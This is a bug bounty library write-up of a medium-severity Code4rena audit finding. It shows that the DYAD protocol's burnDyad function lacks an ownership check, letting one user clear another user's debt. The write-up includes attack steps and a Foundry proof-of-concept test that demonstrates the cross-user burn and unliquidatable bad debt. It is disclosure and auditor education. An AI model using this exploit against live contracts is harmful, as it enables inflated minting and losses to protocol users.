# VaultManagerV2.sol::burnDyad function is missing an isDNftOwner modifier, allowing a user to burn another user's minted DYAD

VaultManagerV2.burnDyad lacks an owner check, letting any DNft holder burn another user's DYAD balance while their debt remains, creating unliquidatable bad debt.

- Payout: Audit contest
- Severity: medium
- Program: DYAD
- Found by: Pataroff
- Disclosed: 2024-06-17
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-04-dyad-findings/issues/100
- Library page: https://bugbountylibrary.com/r/c4%3A2024-04-dyad%3AM-07
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:contest platform:code4rena sev:medium tech:solidity technique:source-review vuln:access-control vuln:business-logic

**Target:** VaultManagerV2.sol burnDyad function
**Root cause:** burnDyad only applies isValidDNft(id) but not isDNftOwner(id), so dyad.burn(id, msg.sender, amount) burns the caller's balance against an arbitrary DNft id, reducing that position's debt without the owner's consent.
**Steps:**
1. Alice mints DNft, deposits WETH, mints 1e20 DYAD via mintDyad(aliceDNftId,1e20,Alice).
2. Bob mints his own DNft and DYAD similarly.
3. Bob calls `vaultManager.burnDyad(aliceDNftId, 1e20)` — no ownership check.
4. Alice's mintedDyad drops to 0 while her DYAD balance stays 1e20; Bob's balance is burned to 0.
5. Alice calls mintDyad again to mint another 1e20, now holding 2e20 DYAD against one debt; Bob's position cannot be liquidated due to high collateral ratio.
**How found:** Code reading of burnDyad noticed only isValidDNft modifier present, unlike other functions gated by isDNftOwner; hypothesized cross-user burn and confirmed with a Foundry PoC.
**Exploitation:** Attacker calls burnDyad with a victim's DNft id, burning the attacker's own DYAD balance to zero the victim's recorded debt, letting the victim re-mint and leaving the attacker's position with debt but no DYAD, unliquidatable bad debt.
**Escalation:** Repeated re-minting against cleared debt inflates DYAD supply; attacker's own position becomes unliquidatable bad debt.
**Insight:** When auditing vault-style contracts, diff the modifier sets across sibling functions (mint/burn/deposit/withdraw) — a missing isDNftOwner/isValidDNft on one entry point often lets you mutate another user's accounting state.

## Proof of concept (copied exactly from the original report)

**Foundry test burning another user's DYAD**

```
function test_burnAnotherUserDyad() public {
        vm.deal(Alice, 10 ether);
        vm.deal(Bob, 10 ether);

        // Mint DYAD to Alice
        vm.startPrank(Alice);
        uint256 aliceDNftId = mintDNftToUser(Alice);
        userDeposit(weth, aliceDNftId, address(wethVault), 1e22, Alice);
        vaultManager.mintDyad(aliceDNftId, 1e20, Alice);
        vm.stopPrank();

        // Mint DYAD to Bob
        vm.startPrank(Bob);
        uint256 bobDNftId = mintDNftToUser(Bob);
        userDeposit(weth, bobDNftId, address(wethVault), 1e22, Bob);
        vaultManager.mintDyad(bobDNftId, 1e20, Bob);
        vm.stopPrank();

        console.log("Alice Minted Dyad:", dyad.mintedDyad(address(vaultManager), 0)); // 100000000000000000000
        console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); // 100000000000000000000
        console.log("Bob Minted Dyad:", dyad.mintedDyad(address(vaultManager), 1)); // 100000000000000000000
        console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 100000000000000000000

        // Call `burnDyad` as Bob on Alice's DNft id!
        vm.prank(Bob);
        vaultManager.burnDyad(aliceDNftId, 1e20);

        // Bob position becomes insolvent as his DYAD balance is now equal to 0!
        console.log("Alice Minted Dyad:", dyad.mintedDyad(address(vaultManager), 0)); // 0
        console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); // 100000000000000000000
        console.log("Bob Minted Dyad:", dyad.mintedDyad(address(vaultManager), 1)); // 100000000000000000000
        console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 0

        // Alice can mint more DYAD as her DYAD debt is now equal to 0!
        vm.prank(Alice);
        vaultManager.mintDyad(aliceDNftId, 1e20, Alice);

        console.log("Alice Minted Dyad:", dyad.mintedDyad(address(vaultManager), 0)); // 100000000000000000000
        console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); // 200000000000000000000
        console.log("Bob Minted Dyad:", dyad.mintedDyad(address(vaultManager), 1)); // 100000000000000000000
        console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 0
        
        // Bob position cannot be liquidated due to high collaterization ratio!
        vm.prank(Alice);
        vm.expectRevert();
        vaultManager.liquidate(1, 0);
    }
```

**Helper functions for minting and depositing**

```
function mintDNftToUser(address user) public returns (uint256) {
        return dNft.mintNft{value: 1 ether}(user);
    }

    function userDeposit(ERC20Mock token, uint256 id, address vault, uint256 amount, address user) public {
        vaultManager.add(id, vault);
        token.mint(user, amount);
        token.approve(address(vaultManager), amount);
        vaultManager.deposit(id, address(vault), amount);
    }
```

